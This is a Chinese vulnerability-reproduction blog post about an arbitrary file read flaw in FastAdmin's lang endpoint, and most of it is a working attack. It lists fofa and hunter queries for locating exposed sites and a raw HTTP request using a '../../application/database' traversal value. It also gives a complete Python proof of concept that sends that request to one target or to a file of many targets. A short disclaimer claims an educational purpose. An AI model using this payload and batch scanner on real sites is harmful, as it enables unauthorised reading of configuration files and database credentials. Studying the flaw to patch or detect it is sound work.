【漏洞复现】FastAdmin——任意文件读取漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

FastAdmin是一个免费开源的后台管理框架,其lang存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集,资产测绘
fofa:body=“/assets/js/require.js”
hunter:web.body=“/assets/js/require.js”
在这里插入图片描述

坚持,成为安全专家只差一点点了

在这里插入图片描述

2)构造数据包上传文件

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: ip

启动Yakit神器
在这里插入图片描述

测试工具

poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 指定脚本运行环境为Python,并设置文件编码为utf-8

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'
# 定义红色文本的颜色代码

RESET = '\033[0m'
# 定义重置文本颜色的代码

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 禁用requests库在urllib3中的不安全请求警告

def check_vulnerability(url):
    # 定义一个函数,用于检查指定URL是否存在漏洞
    try:
        # 尝试执行以下代码
        # 构造完整的攻击URL
        attack_url = url.rstrip('/') + "/index/ajax/lang?lang=%2e%2e/%2e%2e/application/database"
  
        # 发送GET请求到构造的URL,不验证SSL证书,超时时间设置为10秒
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码是否为200,以及响应文本中是否包含'jsonpReturn'
        if response.status_code == 200 and 'jsonpReturn' in response.text:
            # 如果条件满足,打印出可能存在漏洞的信息
            print(f"{RED}URL [{url}] 可能存在Fastadmin框架lang任意文件读取漏洞{RESET}")
        else:
            # 如果条件不满足,打印出不存在漏洞的信息
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 如果请求超时,打印出请求超时的信息
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 如果发生其他请求相关的异常,打印出请求失败的信息及异常内容
        print(f"URL [{url}] 请求失败: {e}")

def main():
    # 定义主函数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在Fastadmin框架lang任意文件读取漏洞')
    # 创建ArgumentParser对象,用于解析命令行参数,并设置描述信息

    parser.add_argument('-u', '--url', help='指定目标地址')
    # 添加命令行参数'-u'或'--url',用于指定单个目标地址

    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    # 添加命令行参数'-f'或'--file',用于指定包含多个目标地址的文件

    args = parser.parse_args()
    # 解析命令行参数

    if args.url:
        # 如果指定了单个目标地址
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            # 如果地址不以http://或https://开头,则添加http://
            args.url = "http://" + args.url
        check_vulnerability(args.url)
        # 调用check_vulnerability函数进行检查

    elif args.file:
        # 如果指定了包含目标地址的文件
        with open(args.file, 'r') as file:
            # 打开文件并逐行读取
            urls = file.read().splitlines()
            # 读取所有行并存储在urls列表中
            for url in urls:
                # 对列表中的每个URL进行处理
                if not url.startswith("http://") and not url.startswith("https://"):
                    # 如果URL不以http://或https://开头,则添加http://
                    url = "http://" + url
                check_vulnerability(url)
                # 对每个URL调用check_vulnerability函数进行检查

if __name__ == '__main__':
    main()
    # 如果脚本被直接运行,则调用main函数

运行截图:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/750557.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于C++实现的EventLoop与事件驱动编程

一,概念介绍 事件驱动编程(Event-Driven)是一种编码范式,常被应用在图形用户界面,应用程序,服务器开发等场景。 采用事件驱动编程的代码中,通常要有事件循环,侦听事件,…

leetcode-19-回溯

引自代码随想录 [77]组合 给定两个整数 n 和 k,返回 1 ... n 中所有可能的 k 个数的组合。 示例: 输入: n 4, k 2 输出: [ [2,4], [3,4], [2,3], [1,2], [1,3], [1,4]] 1、大致逻辑 k为树的深度,到叶子节点的路径即为一个结果 开始索引保证不重复…

GuiLite C语言实现版本

简介 本项目是idea4good/GuiLite的C语言实现版本,基于2024-06-20节点的版本(提交ID:e9c4b57)。 本项目仓库:GuiLite_C 需求说明 作为芯片从业人员,国产芯片普遍资源有限(ROM和RAM比较少-都是…

英国国王座驾车标的逆向工程

多功能设计和制造解决方案为独特的挑战提供了引人注目的优势。Impossible Creations是一家来自英国的定制扫描、设计和建模公司,专门帮助客户完成无限制得创作任务。在他们最近接到的一个项目中,为了修复象征英国国王座驾的大英帝国吉祥物,Im…

【Docker】docker 替换宿主与容器的映射端口和文件路径

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 docker 替换宿主与容器的映射端口和文件夹 1. 正文 1.1 关闭docker 服务 systemctl stop docker1.2 找到容器的配置文件 cd /var/lib/docker/contain…

Web渗透:文件包含漏洞(part.1)

"文件包含漏洞"(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过这个漏洞在目标系统上包含或执行任意文件。主要有两种类型的文件包含漏洞: 本地文件包含(Local File Inclusion, …

[MySQL]购物管理系统—简略版

本文内容需以MySQL支持 特别感谢baidu comate AI提供的少量虚拟数据 0.建库(建立数据库——utf8字符集,utf8_general_ci排序规则) 1.此项目ER图如下 2.DDLDML(共九表,27数据) SET FOREIGN_KEY_CHECKS 0;DROP TABLE IF EXISTS goods; CREATE TABLE g…

计算机的错误计算(十四)

摘要 解读 GPU和CPU计算上的精度差异:GPU 的 3个输出的相对误差分别高达 62.5%、50%、62.5%。 例1. 计算下列两个矩阵的乘积: 显然,其结果为第一列: 这个结果是准确的。 例2. 已知上面 3 个矩阵是由下面代码产生或输出&…

HTML【重点标签】

一、列表标签 1.无序列表 父级别: 无序列表的标题 ----表示无序列表的整体,用于包裹li标签 子级别: 无序列表一行的内容 ----表示无序列表的每一项,用于包含一行的内容 语义:构建没有顺序的列表 特点:列…

C# YoloV8 模型效果验证工具(OnnxRuntime+ByteTrack推理)

C# YoloV8 模型效果验证工具(OnnxRuntimeByteTrack推理) 目录 效果 项目 代码 下载 效果 模型效果验证工具 项目 代码 using ByteTrack; using OpenCvSharp; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using Sys…

ACC:Automatic ECN Tuning for High-Speed Datacenter Networks 相关知识点介绍(一)

目录 ACC(Adaptive Congestion Control) 总结 结合 ACC 和 ECN ECN ECN(Explicit Congestion Notification) 静态 ECN 动态 ECN 对比 总结 FCT——flow completion time 具体解释 小鼠流和大象流 小鼠流(…

2024百度之星第二场-小度的01串

补题链接: 码蹄集 一道经典线段树板子题。 区间修改01置换,区间查询子串权值。 唯一区别,权值要求的是相邻字符都不同所需修改的最小字符个数。 我们在线段树节点上分别维护当前连续区间: 奇数位是0的个数(j0&…

ROS1通信机制——以topic为例

ROS1 的通信机制 ROS1是一个分布式框架,为用户提供多节点(进程)之间的通信服务。 ROS1通信时有一个中心节点(ROS Master),进行信息匹配等工作。 ROS1 的话题通信机制 通信链接:XML/RPC 信息传…

YOLOV8图像分割预测后输出mask图

训练一个yolov8后,用官方的预测脚本一般是: results model.predict(img_path, saveTrue, save_diroutput_folder) 运行此代码会直接在run里面生成一个文件夹,保存预测图像。如果要获取分割后的mask点,或mask的轮廓点&#xff0…

WIFI各版本的带宽

带宽的定义: 带宽在网络领域通常指信道带宽,即信号在频谱中占用的频宽,单位是MHz(兆赫)。在无线通信中,带宽越宽,能够传输的数据量越大,因此信道带宽直接影响着数据传输速率。WiFi标…

SKYDROID-C12—— 让美景近在眼前

C12是一款小型高清双光吊舱,使用新一代影像芯片,搭配高清无畸变摄像头,有效像素达到500万,拥有强悍的2K视频录制和拍照能力,支持数字变倍,随时随地捕捉清晰的图像,让远处美景近在眼前。

Clickhouse 的性能优化实践总结

文章目录 前言性能优化的原则数据结构优化内存优化磁盘优化网络优化CPU优化查询优化数据迁移优化 前言 ClickHouse是一个性能很强的OLAP数据库,性能强是建立在专业运维之上的,需要专业运维人员依据不同的业务需求对ClickHouse进行有针对性的优化。同一批…

【Android11】开机启动日志捕捉服务

一、前言 制作这个功能的原因是客户想要自动的记录日志中的报错和警告到设备的内存卡里面。虽然开发者模式中有一个“bug report” 会在/data/user_de/0/com.android.shell/files/bugreports/目录下生成一个zip包记录了日志。但是客户觉得这个日志很难获取到他们需要的信息&am…

Transformer教程之神经网络和深度学习基础

在当今的人工智能领域,Transformer已经成为了一个热门的词汇。它不仅在自然语言处理(NLP)领域取得了巨大的成功,还在计算机视觉等其他领域展现出了强大的潜力。然而,要真正理解Transformer,我们首先需要扎实…

希喂生骨肉冻干值得入手吗?拯救瘦弱、增强抵抗力最强主食测评!

希喂生骨肉冻干值得入手吗?很多小姐妹觉着自家猫咪太瘦了、体质不咋好,换季还敏感、掉毛、不吃东西,听说生骨肉冻干好吸收、营养好,可以改善体质、拯救瘦弱、增强抵抗力,为了图省事,开始盲入生骨肉冻干&…